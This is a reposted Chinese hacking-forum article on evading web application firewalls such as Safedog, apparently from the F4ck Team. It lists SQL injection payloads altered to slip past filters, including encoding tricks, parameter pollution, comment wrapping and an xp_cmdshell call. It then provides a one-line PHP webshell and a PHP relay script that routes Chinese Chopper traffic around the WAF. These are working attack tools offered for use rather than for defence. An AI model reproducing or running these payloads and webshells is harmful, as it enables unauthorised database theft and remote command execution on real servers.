繞過WAF、安全狗知識整理


0x01 前言

目前市場上的WAF主要有以下幾類

1. 以安全狗為代表的基於軟件WAF

2. 百度加速樂、安全寶等部署在雲端的WAF

3. 硬件WAF

WAF的檢測主要有三個階段,我畫了一張圖進行說明

本文主要總結的就是針對上面的三個階段的繞過策略。小菜一枚,歡迎拍磚。

0x02 WAF身份認證階段的繞過

WAF是有一個白名單的,在白名單內的客戶請求將不做檢測

 

(1)偽造搜索引擎

早些版本的安全狗是有這個漏洞的,就是把User-Agent修改為搜索引擎,便可以繞過,進行sql注入等攻擊,論壇blacksplit大牛有一篇關於這個的文章,還有利用工具

Link http://sb.f4ck.org/forum.php?mod=viewthread&tid=11254

這里推薦一個谷歌插件,可以修改User-Agent,叫User-Agent Switcher

(2)偽造白名單特殊目錄

 

360webscan腳本存在這個問題,就是判斷是否為admin dede install等目錄,如果是則不做攔截

比如

<span style="font-size:14px;">GET /pen/news.php?id=1 union select user,password from mysql.user</span>  

可以改為

GET /pen/news.php/admin?id=1 union select user,password from mysql.user  

或者

<span style="font-size:14px;">GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user</span>  

詳細的見wooyun-2014-050576

Link http://paper.wooyun.org/bugs/wooyun-2014-050576

(3)直接攻擊源站

這個方法可以用於安全寶、加速樂等雲WAF,雲WAF的原理通過DNS解析到雲WAF,訪問網站的流量要經過指定的DNS服務器解析,然后進入WAF節點進行過濾,最后訪問原始服務器,如果我們能通過一些手段(比如c段、社工)找到原始的服務器地址,便可以繞過,這個我也沒有找到太好的例子,就不多做說明了。

 

0x03 WAF數據包解析階段的繞過

(1)編碼繞過

 

最常見的方法之一,可以進行urlencode

早期的方法,現在效果不是太好

 

(2)修改請求方式繞過

我想玩滲透的都知道cookie中轉注入,最典型的修改請求方式繞過,很多的asp,aspx網站都存在這個問題,有時候WAF對GET進行了過濾,但是Cookie甚至POST參數卻沒有檢測。

還有就是參數污染,最近的一個典型例子就是wooyun社區給出的multipart請求繞過,在POST請求中添加一個上傳文件,繞過了絕大多數WAF。

詳情看http://zone.wooyun.org/content/11423

 

(3)復參數繞過

例如一個請求是這樣的

GET /pen/news.PHP?id=1 union select user,password from MySQL.user

可以修改為

GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以這樣繞,測試最新版安全狗能繞過部分語句

 

0x04 WAF觸發規則的繞過

 

WAF在這里主要是針對一些特殊的關鍵詞或者用法進行檢測。繞過方法很多,也是最有效的。

 

(1)特殊字符替換空格

用一些特殊字符代替空格,比如在mysql中%0a是換行,可以代替空格,這個方法也可以部分繞過最新版本的安全狗,在sqlserver中可以用/**/代替空格

 

(2)特殊字符拼接

把特殊字符拼接起來繞過WAF的檢測,比如在Mysql中,可以利用注釋/**/來繞過,在mssql中,函數里面可以用+來拼接

比如

<span style="font-size:14px;">    GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')</span>  

可以改為

GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')  

(3)注釋包含關鍵字

 

在mysql中,可以利用/*!*/包含關鍵詞進行繞過,在mysql中這個不是注釋,而是取消注釋的內容。測試最新版本的安全狗可以完美繞過。

例如

GET /pen/news.php?id=1 union select user,password from mysql.user  

可以改為

<span style="font-size:14px;">GET /pen/news.php?id=1 /*!union*/ /*!select*/  user,password /*!from*/ mysql.user</span>  

這方面文章很多,比如bystander在論壇發的這篇文章

http://sb.f4ck.org/forum.php?mod=viewthread&tid=7975

平時自己收集的一些方法,今天總結了一下,拋磚引玉,歡迎大家補充。==================================================================================================================================================================================================================================================================================================================

 

 

附上過最新安全狗方法

好吧,我覺得很多人是為了過來看這個的。= =!

只能用於mysql數據庫

其實文章里已經寫了一種了 就是利用/*!*/包含關鍵詞進行繞過,不過這種方法要手工注入,懶人們肯定不喜歡,附上一種工具繞過的方法

把空格替換成%0a/**/可以繞過最新版本安全狗

在Pangolin中 點擊 編輯 配置 高級 選擇替換空格使用

填上%0a/**/即可

 

過狗的小馬我一直用這個

<span style="font-size:14px;"><?php $a=$_GET['a'];$a($_POST['cmd']);?></span> 

這個 雖然不會被殺 但是菜刀連接會被攔截

我是用sunshine大牛的中轉方法繞過的。

詳情看http://zone.wooyun.org/content/10278

腳本:

<span style="font-size:14px;"><?php   
$webshell="http://192.168.204.2/pen/1.php?a=assert";//把這里改成你的shell地址   
$webshell=$webshell."&1141056911=base64_decode";   
  
$da=$_POST;   
$data = $da;   
@$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,並把base64_decode替換成$_GET[1141056911](   
  
//print_r($data);   
  
$data = http_build_query($data);     
$opts = array (     
'http' => array (     
'method' => 'POST',     
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .     
"Content-Length: " . strlen($data) . "\r\n",     
'content' => $data)   
);   
     
$context = stream_context_create($opts);     
$html = @file_get_contents($webshell, false, $context); //發送post     
echo $html;     
  
  
?> </span>  

轉自:http://sb.f4ck.org/thread-18258-1-1.html

 

Author:Sudo

Team:F4ck Team


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM